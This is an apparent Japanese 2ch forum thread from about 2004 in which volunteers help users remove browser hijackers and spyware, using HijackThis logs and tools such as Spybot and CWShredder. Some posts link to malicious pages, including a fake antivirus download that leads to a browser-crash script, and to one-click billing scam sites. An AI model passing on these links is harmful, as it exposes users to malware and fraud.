O2 - BHO: CB UrlCatcher Class - {CE188402-6EE7-4022-8868-AB25173A3E14} - C:\WINDOWS\System32\mscb.dll
O2 - BHO: ADP UrlCatcher Class - {F4E04583-354E-4076-BE7D-ED6A80FD66DA} - C:\WINDOWS\System32\msbe.dll
あたり要らない気がするYO　ちょっとこの辺見たことないYO

個人的にはこの辺りだと思いますが、
Fix前に優秀な人の意見も聞いた方がいいでしょう。
O2 - BHO: LocalNRDObj Class - {00320615-B6C2-40A6-8F99-F1C52D674FAD} - C:\WINDOWS\localNRD.dll
O2 - BHO: LocalNRDObj Class - {00320615-B6C2-40A6-8F99-F1C52D674FAD} - C:\WINDOWS\localNRD.dll
O2 - BHO: (no name) - {7B55BB05-0B4D-44fd-81A6-B136188F5DEB} - C:\WINDOWS\questmod.dll
O2 - BHO: (no name) - {A3DFDA85-1D92-4E28-8C0C-522574ACDC8A} - C:\WINDOWS\System32\msacrohlp.dll
O4 - HKLM\..\Run: [ControlPanel] C:\WINDOWS\System32\host32.exe internat.dll,LoadKeyboardProfile
O4 - HKLM\..\Run: [vevolxarcds] C:\WINDOWS\System32\zktlzvo.exe
O4 - HKCU\..\Run: [Bhao] C:\Documents and Settings\ERIKO\Application Data\meaa.exe
O4 - HKCU\..\Run: [Vlru] C:\WINDOWS\System32\ndpoqr.exe
O16 - DPF: v2cab - ttp://searchmiracle.com/cab/v2cab.cab
O16 - DPF: WebWorks Help 2.0 - file://C:\Program Files\procreate Painter Classic\Help\wwhelp2.cab

O15　コンパネから信頼済みを解除。

（・３・）　エェー　お疲れちゃん。

about:blank Search for型の対処法に
『画面上の適当な場所を右クリックして「ソースの表示」をクリックします。』
とありますが、右クリックがききません。
どうしたらいいですか？

>>201
ＩＥの［表示］→［ソース］

O2 - BHO: NLS UrlCatcher Class - {AEECBFDA-12FA-4881-BDCE-8C3E1CE4B344} - C:\WINDOWS\System32\nvms.dll
O2 - BHO: CB UrlCatcher Class - {CE188402-6EE7-4022-8868-AB25173A3E14} - C:\WINDOWS\System32\mscb.dll
O2 - BHO: ADP UrlCatcher Class - {F4E04583-354E-4076-BE7D-ED6A80FD66DA} - C:\WINDOWS\System32\msbe.dll

自信がないのですがeXact Advertisingっと言うものかも知れないです。
上のリストに合わせて追加しておきます。

eXact Advertising
ttp://www.doxdesk.com/parasite/BargainBuddy.html

テンプレの通りにやっても最初のページはttp://selfsearch.bizになるし
一度電源切ってもう一度起動させたらスパイウェア一杯でおまけに削除できないやつもいて
もう混乱してるんですがどうしたらよいでしょうか？初期化も考えてますが･･･

>>203
リロードしてから書き込めよ、ぼるじょあ様に失礼だぞ。

とりあえず皆様がfixしたほうがいいと
おっしゃったものはしたのですが、
その後の処置をどうしたらいいのかよく分かりません…

再起動をしていいのですか？

>>200 & >>205
申し訳ないです。
優秀な回答者がいっらっしゃるようですので
自分はどこかそこらをしばらく巡回してきます。

>>206
もちろんそうよ。

>>204
トラップを全て潰すために、セーフモードで起動したら、
IEの一時ファイルを削除
C:\TEMP内を削除
C:\WINDOWS\TEMP内を削除
C:\Documents and Settings\ユーザー名\Local Settings\Temp内を削除

そのまま、spybot Ad-Aware SE でスキャンして削除

通常モードで起動
全ての始まりはここから

>>206
再起動してコンパネのホームの場所を戻して、
様子を見てください。
問題がなければ、
host32.exe、zktlzvo.exe、meaa.exe、ndpoqr.exe
localNRD.dll、lsktmcol.dll、questmod.dll、msacrohlp.dll
nvms.dll、mscb.dll、msbe.dllをゴミ箱に移して、
念のためにもう一度テンプレを実行してゴミ掃除をしてください。

それでは落ちます。ノｼ

（・３・）　エェー　まぁ>>198と>>200は別ぼるだけどNE　真面目な回答者は多い方が安心だYO

>>189　行かないで。
色々な人が回答するほうが、間違いが少ないし
違った角度で見れるから良いですよ。

それに「ぼるじょあ」は、そんな事に気を止めるほど
小さい団体さんじゃないしｗ

>>211
セキュ板のぼるスレでも回答者やってるの？？？

>>213
（・３・）　エェー　それは別のぼるだNE　ボクはこの板以外で回答者はやってないYO

Win９８を使用しています。
「about:blank Search for」についてなんですが、
ブラウザの検索ボタンを押すと飛んでしまいます。
ブラウザを立ち上げたスタートアップ画面はそこへは飛ばないのですが。

そこでどっからはじめていいかわからないんですが、>>2の「WEB設定のリセット」
は「ホームパージもリセットする」にチェックを入れたほうがよろしいのでしょうか？

あとアンチウィルスソフトやアンチスパイソフトをインストールするにあたっては
メモリを増設したりWinのアップデートが必要なのでしょうか？

どっから手をつけていいかわかりません。

>>215
（・３・）　エェー　前半はYes　後半はNo　でもWinのアップデートはするべきだYO
　　　　　　　　　　ただ最近のアンチウィルス結構動作重いから　98頃のPCだと大変かもYO

>>216
セキュ板のぼるちゃんに騙されてたよ　＿|￣|○

zktlzvo.exeをゴミ箱に移そうとすると、ほかのプログラムで使用中のため
削除できないと言われてしまいます。

また、meaa.exe、localNRD.dll、questmod.dllのファイルが見つからないのですが、
その場合放置でも大丈夫ですが？

>>218
確か見つからない場合は放置で大丈夫
使用中の場合はセーフモードで削除すれば
その問題を回避できる場合がある

セーフモードは起動後ロゴ表示中F8押しっぱなし

>>218
補足ごめん
上の説明はファイルの表示を全て表示にされている場合
コントロールパネルの表示で
１：ファイルとフォルダの表示が「すべての・・・」にチェック
２：保護されたオペレーティング・・・のチェックを外す
まずこちらを確認してからにしてくれ。

>>220
気にすんな。

お願いします。
ブラウザを開くと、アドレスバーの下になんか別の英語の検索バーが出ます。
どうすればよぃのでしょうか？

>>222
（・３・）　エェー　見なかったことにして別ブラウザを使う
　　　　　　　　　　というかまずテンプレ読んで実行しろYO

どうやら今度こそ本当に直ったみたいです！！
ここの皆様には本当に感謝してもしたりないです‥(つд｀)
今無事でいるのが信じられません。
これからは気をつけます‥それでは。

>>224
おめで�d。
念のために、ウィルスバスターのオンラインスキャンをやっておくと良さそう。
>>198でぼるじょあ氏が指摘した02エントリにこんなもんがあった。
>O2 - BHO: (no name) - {7B55BB05-0B4D-44fd-81A6-B136188F5DEB} - C:\WINDOWS\questmod.dll
↑TROJ_MOJIAL.A（http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_MOJIAL.A）
ノートンで取り逃すけど、ウィルスバスターで見つかる例。もちろん逆の場合もある。

http://pc5.2ch.net/test/read.cgi/sec/1091346741/282
こっちに回答者向け情報書いておいたので、回答者の人は見ておいてくださいな。

>>224
うむ。
転ばぬ先の杖 − さらなる被害を受けないために
http://higaitaisaku.web.infoseek.co.jp/korobanu.html

直ちゃったんか、また来いよ。

ホームページがgreatsearch.biz/になってしまいます。
テンプレは全てやりましたが、直ってません。
まだやり残したことはありますか？

>>228
らーめん喰え

>>228
カレーも美味しいよ。

>>229>>230
らーめんとカレーを食べたら今度はsearch forになってしまいました。
誰か助けて〜〜

>>231
今日はもう寝るから↓に行け。

　　　　　最後の頼みの綱　『アダルトサイト被害対策の部屋』
　　　　　http://higaitaisaku.web.infoseek.co.jp/caution.html

>>2
＞＞2)クッキーの削除+ファイルの削除
クッキーの削除のボタンがないのですがどうすればいいんですか？

>>233
（・３・）　エェー　IEのバージョン古いとないYO　直接cookieフォルダの中身削除だYO

>>233

　　 ∩＿＿＿∩　　　　　　
　　 | ノ　　　　　 ヽ/⌒)　きゃははははゲラゲラゲラ〜〜〜
　 /⌒) (ﾟ)　　　(ﾟ)　|　.| 　
　/　/　 　( _●_)　 ミ/　　　∩―−、
.（　　ヽ　　|∪|　　／ 　　　／　(ﾟ)　､_ ｀ヽ
　＼　　　 ヽノ　/ 　　　 　/　　(　●　 (ﾟ) |つ
　 /　　　　　　/　　 　　　|　／(入__ノ 　 ミ　　　ざまみろ ざまあみろ ざまーみろ
　|　　　　　　 / 　　 　　　､　(＿／　　　 ノ　　
　|　　／＼　＼ 　　 　　　＼＿＿＿　ノﾞ ─ｰ
　|　/　　　 )　 )　　　　　　　＼ 　　　　　　＿　　　　　
　∪　　　 （　 ＼　　　　　　　　＼　　　　　＼

>>231
別な直し方を教えてやる
spybotの左側のメニューからツールを選択して、
右側に表示されているスタートページをクリックすると
登録されているスタートページのアドレスが全部表示されるから、
右クリックしてクリップボードにコピーして、メモ帳に貼り付ける。
登録されているレジストリキーの場所がわかるから
該当アドレスを削除する。

Mozilla Firebird 0.7でｴﾛｻｲﾄを見ていたら、いつの間にか、ＩＥが使えなくなっていました。
起動させるとすぐに閉じてしまうのです。
さらに、「スタートメニュー」から、マイドキュメントや
コントロールパネルを開くこともできなくなっていました。
ためしに、Windows XPをインストールしなおしてみたのですが、全く効果がなく、
それをしたばっかりに、以前の「復元ポイント」まで消滅してしまいました。
何か対処法はないものでしょうか？

スタートページ ----> ブラウザページ

>>237
テンプレへレッツGO

いろいろありがとう。
けど、逆にsearch for使ってエロサイト見ることにしたので直さないことにしました。
ばいばい、このスレでレスを待っている人。

釣ろうとしたけど誰も相手にしてくれないのってさみしいよね


（ノ∀｀）ｱﾁｬｰ

俺達のテンプレは日本一だぜ。

（・３・）　エェー　釣り師、地雷師、大歓迎ですYO

何かやることはないのか？

>>244
待機してろ。

>>233で質問したんだけど全部消すの？

>>246
消せ。

>>246
全部だ。ファイルごと消せ。

>>246
消しなさい。

>>246
俺も消した方がいいと思う。

>>246
消してしまえ、ほととぎす

>>246
index.dat
これは、OSで使用中だから、それ以外のを選択して全部削除しろ

>>246
さっさと消せよ、おい

>>246
消したのか、返事しろよ、おい

>>254
相手してもらえないと淋しいのか。
そんな時は、たぬたんに遊んでもらえ。

>>239
テンプレサイト（http://haiiro.info/my/text/template.html）へいってみたのですが、
項目が多過ぎて何処を読んでいいのか全然分かりません･･･
何かヒントを･･･

>>256
テンプレサイトは、情報をごっちゃごちゃに集めただけの使えないサイト
このスレの>>2-5の順番でやればいいだけ

>>256

>>209やれ

>>256
XPはIEのコンポーネントがぶっ壊れていても、エクスプローラーが使えなくなることはないので、
あなたは直らないかもしれない

>>256
俺も直らない気がしてきた。

>>254
おまえ天麩羅屋だろｗ

>>261
今日加わった、迷惑ソフトの開発技術者かもしれないぞ

>>262
詳しく。

>>263
期待されるほど、たいしたネタでもないけど、
>>129-143　の辺の書き込み

>>264
>>129は要注意人物だな。

>>265
それはあんまりだ。俺だって立派な被害者だぜ。
確かに、俺を怒らせるとひどい目にあうといわれている危険人物だが。
その俺だって、アダルトサイトの対策に日夜努力している。
２０G以上もエロ画像を収集した実績はあるが、奴らにはかなわない。
悪い奴らの中にも天才と言われる奴がいるが、まさに奴はそんな悪党だ。

訂正する、２０GB以上ではなくて、正確には２５，７GBあった。

安全だと思っていたサイトで、やられたね。思わず笑ってしまった。
絶対に初心者はクリックしないように。挑戦する人だけにしてよ。
http://www.jp-sex.com/bishouzyo/kako0403.html

こんな俺も、9月に成ったら小学校が始まる、鬱であった。

>>269
小学生なのか？

>>268
リンクの頭位削っとけよ。
地雷氏、乙

>>268
何にやられた？
何の反応もないぞ

>>272
多分ほとんどが安全だが、中に地雷が仕組まれている。
>>271
笑った、被害にあってやってきた人間は、またこんなところで被害にはあわない。
実力のある人間だけが堂々とクリックする、削るなんて失礼な。

何か踏みたくなってきたｗ

>>274
踏んじゃえ、踏んじゃえ
ここなら、病院の前で交通事故に逢ったようなもんだから

病院が藪もしくは医者がモグリかもしれんがｗ

>>275
藪医者がいるのか？

>>274
さすが貴方は偉い、そうでなければ実力者とはいえない。
患者はこないかな！何て言っている回答者は、自ら体験し まず患者の身になる
ことも大切だよ。患者の痛みを分からない回答者は、本当の回答者になれない、
偽者でしかない。回答なんてまやかしだ。

詳細キボンヌ。
ttp://www.hellplant.org/cgi-bin/xoor/serpent.cgi
ttp://mios.20m.com/

>>276
藪医者というのは、訂正します。
関係者の皆様失礼しました。orz

俺、ここで助けて貰った事があるので
余り悪くいえないんだよね

>>269
この悪徳技術者わらかしてくれる。

といゆう事は、今ここに居るのは全員被害者なのか？？

いや違う、>>269 は加害者。

謎は解けた
犯人は>>281、お前だ！

俺は善意の第三者だよぉ〜

>>273
ああ、確かにそのページのリンク先はスクリプトを実行するとやばそうな所ばかりだわな
もろ、制限付きサイトばかりだわ

わざわざ制限外しても、どうせIframeなんだろうから、詰まらないのでパス

じゃあやっぱり>>282、犯人はお前だ！

>>281
被害者と言うより、わざと感染させて検証した研究者

>>287
先生>>266を見てくださいです。

＞それはあんまりだ。俺だって立派な被害者だぜ。

>>285
さすがインフォメーションでつまらないとは、名医だよ。
専属医に推薦する。

>>289
おう！！！ありがとよ。

めっさﾂﾏﾗﾝ日だゎ

>>291
何所の方言？？

IFRAMEというタグなんだが、気付かぬ振りでレスする290に萌え
昨日は熱い討論で、今日はコントか
相変わらず分からん連中のスレだなｗ

しかし全員が強者回答者だぞ。

スパイウェア駆除なら俺達にまかせろ。

適当に煽るのは俺に任せろ

テンプレへの誘導係りは引き受けた。

最近はなんというか・・・
向こうも荒れ気味なんだなｗ
それにしてもイングラムﾀｿ恐るべしｗｗｗ
ttp://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=all&namber=40892&type=0&space=0&no=0

>>298
これじゃダメだ　あまいな
98はもうサポート外　きっぱりと言い切らなきゃ

イングラムもアホだが煽ってるヤツはクズだな。

>>298
外野が微妙に煽っているようなｗ
御託を並べて説得するよりも、放置したほうが良いじゃないか
あそこに比べると、ここは優し過ぎかな
無医村のくせに、お節介な名医が巡回して回答する変なスレですね。

こっちに誘導すれ

>>298
貞って新人回答者なのかな？初めて見るな。

>>298
削除された前スレがあるみたいだが
その状況では俺でもキレてるｗ

http://homepage2.nifty.com/flipflopflap/gamers/database/mac11.htm
おまいら、あまり弄びすぎると撃ち殺されますよ

>>305
俺はこちかと思った
ttp://www.abysshr.com/ph_av9801.html

上げただけで、あそこまで罵倒できる 貞さんステキ♪

ヽ(`〜´)ﾉｱﾌﾞﾅｲ!!ヽ(`〜´)ﾉｱﾌﾞﾅｲ!!ヽ(`〜´)ﾉｱﾌﾞﾅｲ!!ヽ(`〜´)ﾉｱﾌﾞﾅｲ!!ヽ(`〜´)ﾉｱﾌﾞﾅｲ!!

Spybotでスキャンすると毎回絶対にdso exploitというのが5つ出てくるんですけど
別にほっといても問題ないんですか？

>>309
Spybotスレ見てくればいいじゃん。

OSはwin2000、フラウザはIEです。

[症状]
・ホームが、ttp://www.coolsearch.biz/　になってしまいました。
・毎時４９分に、ttp://fuck-teens-russia　に飛ばされてしまう。
・ブラウザのみならずフォルダにも検索バー（同じものが２段））が現れた。

[対処]
「ようこそエロい人。」のスキエロテンプレ解決編の２（ウイルスのチェック）までやりました。
ホームのURLやSpybotでの検索（CoolWWWなんちゃら）から、
CWShredderでなんとかなるのかな思いました。
しかし、CWShreddeがDLできないんです。
右クリを使ってのファイルの保存ができない。（ブラウザ上では右クリがきかない）
左クリックをしてもDLが始まらないという状況です。
ファイルがおいてあるURLを直接Flashget（DLツール）にぶちこんでもおちてきません。

どうしたらよいか、どなたかご教授下さい。

となたか、CWSｈｒedderをzipに固めてうｐしてもらえませんか？
苺は甘い？ttp://strawberry.atnifty.com/　にでもお願いします。
もちろん他のうｐロダでも構いません。

でも、こんなことするのはまずいのかな？

>>312
サーバーが死んでるから、こっちを落とすしかないようだよ
http://higaitaisaku.web.infoseek.co.jp/CWShredder.exe

>>311
ミラーサイトが５つもあるのに、それ全部DLできないか？
http://www.zerosrealm.com/downloads/CWShredder.zip
http://www.lurkhere.com/~nicefiles/
http://downloads.subratam.org/CWShredder.exe
http://www.spywareinfo.com/~merijn/files/cwshredder.zip
http://computercops.biz/zx/Merijn/cwshredder.zip
↑全部、CWShredderのページから飛べるところだけど？

>>311
>直接Flashget（DLツール）にぶちこんでもおちてきません。
グーグル検索結果貼っておきますよ
http://www.google.co.jp/search?hl=ja&ie=UTF-8&q=Flashget+%E3%82%B9%E3%83%91%E3%82%A4%E3%82%A6%E3%82%A7%E3%82%A2&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=
テンプレやる前に、アンインストールしておいた方がいいよ。

>>313
それでもだめだったんです・・orz
でも、書き込みありがとうございます！！

>>314
上から三番目のから落とせました！
感謝します。

>>315
まったくしりませんでした。
ありがとうございます！

これからCWShredderをやってみます。
また何かありましたらその時はよろしくおねがいします！

漏れも先日やられたYO。DLしようとしてもエロサイトに飛ばされて出来ないんだよな〜。
うちのは98SEだったけど対処法として、Win.iniを開いて

load=
run=C:\WINDOWS\SYSTEM\SERVICES\MSXMIDI.EXE

となっているものを

load=
run=

に修復。それから以下のファイルを消去。

C:\WINDOWS\SYSTEM\SERVICES\MSXMIDI.EXE
C:\WINDOWS\QUESTMOD.DLL
C:\WINDOWS\SYSTEM\host32.exe

これでかなり良くなるんで、あとは再起動してホームページを元に戻してからIE起動、
http://higaitaisaku.web.infoseek.co.jp/removecws.html
を参考にして除去。

>>316
これも使ってみ。
フリーのアンチウイルスソフト
「avast! 4 Home Editionのダウンロード」
http://www.alt-f4.cz/exploder/crash.html

>>318
URLのどこにも「avast」が入ってない地雷踏む馬鹿なんているのか？（　´,_ゝ`）

>>316
テンプレ全部やってから質問しる。

>>318
　【embedタグで意味不明な文字羅列を呼び出しPCをフリーズさせ、
さらにobjectタグで「crash.html」と「crash2.html」を三回ほど呼び出す。
　　ループしてるから尚、性質が悪い。ソースを見るとなにかプラグインを呼び出して実行している様子。
　　ハードディスクアタックのスクリプトも入ってるので環境により有害[2004/08/30/

「about:blank Search for型」の対処法で、
「Windowsをセーフモードで起動する」をやったのですが、
Windowsをセーフモードで起動するとマウスがきかなくなります。
「マウスをつないでください」みたいな警告もでます。
どうしたらいいでしょうか？

>>321
そんなのお前だけ。釣れますか？

>>321
9x系でUSBマウスだから、セーフモードでは認識しない

>>321
Ctrl+Alt+Delで必要最低限のものを残して片っ端から終了させれば
擬似セーフモード。

CWShredderを使いました。
MSNMGSRI.EXE　は削除してもよろしのですか？

>>325
だから全部テンプレ終わってから質問しろって。
中途半端な状態で終わらせるから訳わかんなくなるんだよ。
面倒くさいならリカバリしろ。

わかりました。
どうも。

test

http://with2ch.net/cgi-bin/eat/img-box/img20040825044933.jpg
これ踏んじゃったんですけど
どうなんでしょうか？
おねがいします

フォルダの中身が表示されないようになってしまいました

ここを踏んだら、個人識別コードというのが割り振られてしまったんですが
これは振りこまないといけないのでしょうか？

ttp://www.eropon.org/member/index.php

311の症状のうち上二つはどうにか直りました。
色々アドバイスを下さった方々、ほんとにありがとうございました！

ただ、一番下の「ブラウザ・フォルダに検索バーが現れた」というのと
ブラウザ上で右クリックが出来ないというのが直りません。
どなたかご教授よろしくです。
スレ違いでしたら誘導おねがいします。

>>331
やばいと思います

>>332
テンプレを全部やっても治らないのなら>>5だな
全部終わってないのなら、先にそれを終わらせるべし

>>329
もう一回踏め。直リンすんなばか
>>331
そのサイトに聞け

>>330
98はサポート外

IEが壊れているから、修復なり再インストールなりしなよ
その前にセーフモードで起動して、
インターネっト一時ファイルを削除
C:\WINDOWS\Downloaded Program Files　この中のものを全部削除
C:\WINDOWS\TEMP　この中のものを全部削除

セーフモードなら、エクスプローラーでフォルダの中が表示されると思う

95ならOKだ。

>>331
こんなしょぼいサイトで\15000だあ
ざけんのもいい加減にせい！
こんな金払ってる暇あんなら
アフリカ難民に寄付してやれ！
クッキーだけは消しといた方がいいかもな

>>336
ありがとうございます
やってみます

>>331
【祭りのﾖｶｰﾝ】詐欺行為の悪質サイト潰し★２
http://news13.2ch.net/test/read.cgi/news/1093930653/

祭りage

・・・．jpg見たいな物を踏みました。
ウィルスやアプリケーションなるものが
勝手にダウンロードされて､それらを削除＆駆除したのはいいんですけど
重要なもの（起動ファイル?）まで誤って削除してしまいました。
その影響からか､マウスがまったく使えず（矢印自体が表示されない状態）
おまけに画面が少しぼやけた状態（拡大されてる感じ）になってしまいました．
どうしたら､直るんでしょうか?

>>342
　　∧ ∧　 　 　┌───────────
　　( ´ー｀)　　＜　シラネーヨ
　 　＼　< 　　　└─── /|───────
　　　　＼.＼＿＿＿＿__／/
　　　　　 ＼　　　　　　　／　　　　＿＿＿
　　　　　　　∪∪￣∪∪∧ ∧ ＜ﾁﾗﾈｰﾖ
　　　　　　　　　　　　　　(´ー｀)_/|￣￣￣
　　　　　　　　　　　　　　　UU UU

>>342
俺達自慢のテンプレを実行してくれ。

>>342
OSがXPとかMeならばシステムの復元を試してみれば治るんじゃねーかな
せめてOSぐらい書いてくれ

>>342
マウスが使えなくなった場合はキーボードを使います

昨日お世話になりました者ですが、>>225さんのおっしゃったようにウイルスバスターオンラインスキャンをやってみたところ、『トロイの木馬』型、モジアルとスモールという不正プログラムが検出されました。
トレンドマイクロの削除手段にあったレジストリキーを削除しようとしたのですが、該当のキーが見つかりません。

この場合、場所が違っていると考えたほうがいいのでしょうか？
また、その場合の対処方法等ありましたら教えて下さい。よろしくお願いします。

>>342
晩御飯もう食べたの？

昨日の>>65さんと同じような症状になってしまい
テンプレに従い直してみたのですが
ネットをしているときに画面の右下の方に現れる変なマークが
常に「信頼済みサイト」というものになってしまいます。
インターネットオプションで設定し直してみても変なままです。
このままでも特に問題は無いのでしょうか？
ＯＳはＭｅでＩＥを使っています。

>>347
該当のレジストリキーは、昨日もうHijackThisで削除したんだよ。

>>349
「信頼済みサイト」のチェック
http://higaitaisaku.web.infoseek.co.jp/removewz01-04.html

>>347
そういう時はレジストリ内をそのファイ名で検索するの

>>347
ファイルは削除できたのか？削除できたらもう一回スキャンしろ。
というか、フリーでもなんでもいいからアンチウィルスソフト入れろよ。

>>347
ファイルを削除するんだ。

レス､サンクス
あと､
ウインドウにツールバーに変なものがあります。
（エロサイトの影響かな・・・・）

>343､344
すいません､テンプレを見てきます｡

>345
W98SEです｡

>346
使ってるんだけど､非常に不便です。
　
>348
今､食べてきました｡

面白い人が来てる♪

テンプレに書いてあることを試してみましたが効果がありません
ホームページがabout;blankになってしまい、さらにネットをしていると
「Alredy running」と表示された後、[Hardcore TEEN SEX]というサイトに飛んでしまいます。
閉じると[Hardcore TEEN SEX]のショートカットがﾃﾞｽｸﾄｯﾌﾟに自動的にできてしまいます
さらに、PC全体の動作も重くなりました。
WIN98です。よろしくお願いします

テンプレに沿って｢復元」試したら､表面上は直ったようです｡（一応､ノートンを入れています。）
こんな厨な質問にレスしてくれてありがとう｡
あと､スレ汚しスマソ。

>>357
　　　　　最後の頼みの綱　『アダルトサイト被害対策の部屋』
　　　　　http://higaitaisaku.web.infoseek.co.jp/caution.html

>>357
ウィルスです

>>353
その人はノートン入れてる人だよ、ちゃんと過去ログ読め

>>358
表面上が治っても、テンプレは一応やっておく事をお奨めするよ。
症状が出る前にやっておけば、テンプレだけで治りやすい。

>>357
テンプレは全部本当にやったなら、>>5を何故やらないの？

>>361
>ちゃんと過去ログ読め
暇人乙。>>347はスレ違い。

http://www.cat-e.be/member/index.php
↑やばい
こんなの踏んじゃったんですが(;´Д｀)
どうしたらいいんでせうか。

>>364
ﾐｰﾄｩｰ!
ゲ攻略板の住人か。。！！！１
というわけです。

>364
直リン乙。
つーことでリカバリしとけ、ｺﾞﾙｧ

ちょっと動転して、リンク直接貼っちゃいました。
このままにしておいたらだめですよね？

エロサイト見て寝転びながらチンコしごいてたら寝てしまい
起きたら姉や兄がいますた
俺はどう生きていけばいいですか　助けてください

誰もいねえのか？？？

>>369
>>365の人？
とりあえず、心理的にかなりキツイんで
少し詳しく対処方法など教えてください

マルチなんて相手にしてくれないに決まってんだろｱﾌｫ

>>364
やあ(´･ω･`)

必死なところすまないんだが、>>331で既出なんだ。すまない。

>>372
既出でしたか。
(´・ω・｀)ｽﾐﾏｾﾝ｡
ｳﾂﾀﾞ｡

>>373
(´･ω･`)つ【祭りのﾖｶｰﾝ】詐欺行為の悪質サイト潰し★３
　　　　　　　http://news13.2ch.net/test/read.cgi/news/1093936499/

この現行スレッドはサービスだから、とりあえず行ってみてほしい。

祭りage

はじめて投稿します。先日、友人からPCを譲ってもらいましたがｽﾊﾟｲｿﾌﾄが入っていると
言われたのでﾉｰﾄﾝｱﾝﾁｳｲﾙｽ2004を購入してｽｷｬﾝしましが、PCを起動すると自動的にURA-VIDEO
ｴﾛ動画がﾀﾞｳﾝﾛｰﾄﾞされてしまいます。とても困っていますので処理方法を教えて下さい。

>>376
>>1-5あたりへGO

・・・・・・田代祭りで忙しいんだよ（ぉ

>>374
誘導ありがとうございました^^
行ってみました。

安心できますたー｡･ﾟ･(ﾉД`)･ﾟ･｡

なんとかなりました！
有り難うございました。

ttp://odin.prohosting.com/khdfyhdj/cgi-bin/omanko.cgi

ここ踏んでしまったんですがどうすればいいのでしょうか？

ｷﾆｼﾅｲ事にしました。
ぼるじょあさん、ありがとう！

質問なんですがセーフモードでウィルスとかスパイウェアの
除去作業をしたら最後にレジストリの削除をしたりする作業がいらないのでしょうか？

>>382
種類による

>>382
別にセーフモードじゃなくても対応しているものはYes
だからテンプレを先やってくれと言う
HijackThisってのはレジストリだけFix（修復）する作業、だから後回し

08051151730 [email protected]

他スレで
ttp://www.cat-e.be/member/index.php
を踏んでしまったのですが大丈夫でしょうか！？
本当に怖くてどうしたらいいか悩んでいます！
どなたか助けてください！

すいません…386は自分です。
sageてしまって申し訳ないです…

>>387
（・３・）　エェー　気にすんなYO　つーかさっきのレスの時　確認でボクも踏んだけど
　　　　　　　　　　馬鹿馬鹿しくてヘソで茶沸かすYO

>>386
大丈夫。IP晒されたって たかが知れてる。

>>386
もう終わりです
ブラジルにでも逃亡して下さい

ADW_SOLU180.B
SPYW_AGENT.A
TROJ_DELF.AR
これらのウイルスにかかってしまい、一度は全て削除できたのですが
一日経つと復活してしまいます。ウイルス総合スレでここのテンプレを実行するように
言われ、実行したのですがそれでも復活してしまいます。一体どうすればいいのでしょうか？
OSはXP、バスター入れてます。

皆さんのアドバイスでなんとか落ち着きました。
本当にどうもありがとうございました。

>>391
HijackThisによるレポート出力と手動でのスパイウェア除去
http://higaitaisaku.web.infoseek.co.jp/hijackthis.html

>>391
具体的に、テンプレで何を実行したの？
ただ「実行したのですが」で何度騙されたことやら（　´_ゝ`）

それも実行して自動的に診断してくれるページで調べてもらいました。
ですが、それでもだめなのです。

>>395
そこまでやったならHijackThisログを貼ってみるよろし。щ(ﾟДﾟщ)ｶﾓｫｫｫﾝ

>>395
ここにすべてを、さらけ出すんだ。

テンプレ実行してるか分かるね。

本当に申し訳ありませんでした!
セーフモードで実行するという所を見落としていました
本当にすみません
>>394>>396>>397>>398
すみませんでした本当にすみませんでした

>>399
早く逃げないとボコボコにされちゃうよ。

>>399
ぬ？そんだけならすぐ終わりそうな予感。
セーフモードで駆除してもまだウィルスバスターで検出されるようならおいで。
つか、CWShredder＋Spybot＋Ad-awareSEは完璧かい？

>>399
怒らないから、おじちゃん達に本当の事教えて。

ちょっと変なとこに入ってしまったらトロイやら色々引っかかって(ノートンでなんとかなりましたが)
そのあとに勝手にモデムっぽいのがデスクトップに現れて
とりあえず
IEのホーム、検索ページを標準に戻す→ツール→インターネットオプション→
プログラム→WEB設定のリセット（作業中頻繁に実行してください。無限ループ防止）
IEの履歴削除→ツール→インターネットオプション→全般→インターネット一時ファイル→クッキーの削除+
してシステム復旧もして何事も無いようになってるんですが
何か注意点はあるでしょうか？OSはXpです。

>>403
うむ。
転ばぬ先の杖 − さらなる被害を受けないために
http://higaitaisaku.web.infoseek.co.jp/korobanu.html

About:blank なんですけど、やはり皆さんと同じようにホームがAbout:blankになってしまいます。
About:blankのソースをコピーしようとしても右クリック自体がAbout:blankではできません。
どのように対処すればよいでしょうか？

>>405
>>202

新しいHijack This用ゾヌフィルターが出来た模様
詳しくは下のURLへ

http://pc5.2ch.net/test/read.cgi/sec/1091346741/289

なんでゾヌやねん

変なアイコン出てきて削除してもアイコン自体がショートカットなんでプログラムを削除できないんです｡でプログラムの追加と削除ってマイコンピュータでだしても見当たらないんです。
助けてください｡

>>409
右クリックしてプロパティ表示させたら、本体のリンク先がわかるだろうよ
このスレを一年間ロムれ
レジストリの登録も削除しないとな
何も仕組みがわからない人には難しい

アダルトサイトに行ったらデスクトップに変なアイコンが出てきました。それを削除しようとしたら、そのアイコンがショートカットでプログラムを削除しなきゃいけないとでたので、削除しようとしたらそのアイコンのプログラムが見つかりません。どーしたらいいんでしょうか？

プログラムを削除すれば解決すると思ってるのかな。
そんなに甘くないと思うけど。

ファイルやフォルダを開いたときに中に出てくるはずのアイコンが表示されません！
テンプレはできる限りやりました。
OSはMeを使っています。
お助け下さい！

>>413
セーフモードなら、IEが壊れてても表示されるはずだが

今日インターネットを開いてみたら
privacy Vuinerability Delacted(292 MPV Warning)
と表示されてしまいます。OSはXPでブラウザはIE６です。
どうかお助け下さい。よろしくお願いします。

>>409 >>411
コントロールパネルの追加と削除に変なものがないかどうか
テンプレの各アンチウィルスソフト・アンチスパイウェアソフトで駆除できないか
つまりこれを要約すると、「テンプレ全部やれデブ」という事

>>413
「できる限り」やったというのはどういう意味？
テンプレにあるのは全部フリーソフトなんだけど。全部やってからもう一度来てね。

>>415
まずはテンプレをやってから助けを求めろ。

ADSLだと不当な請求（ダイヤルＱ２など）はこないんですか？友達から聞いたんですけど。

>>409 >>411 >>417
ID:4bVNaIhKは何をやってんの？釣りのつもり？

>>415
返事ありがとうございます。まずテンプレ見て
できる限りがんばってみます。

掲示板に貼られていたhttp://www.cat-e.be/member/index.php
というアドレスを開くと、
いきなり自分のホスト名（？）が表示されてて、
貴方はこのサイトに登録したので、このホスト名から住所とか調べて
勤務先とかにも直接請求いたします〜〜
っていう感じの文章が書いてあったんです。
どうやら会員制のエロサイトみたいで、すごく焦っています。
どうすればいですか？

>>420
このスレッドでも何度も出てきてますが、無視すればいい。

すみません、sageになってました。
ついでに詳細の報告を少し。

そのエロサイトは、「請求する〜」という文章以外、別に普通のサイトでした。
ウィンドウが閉じれないとか、なにか勝手にインストールされるとか、
そういうのはありませんでした。

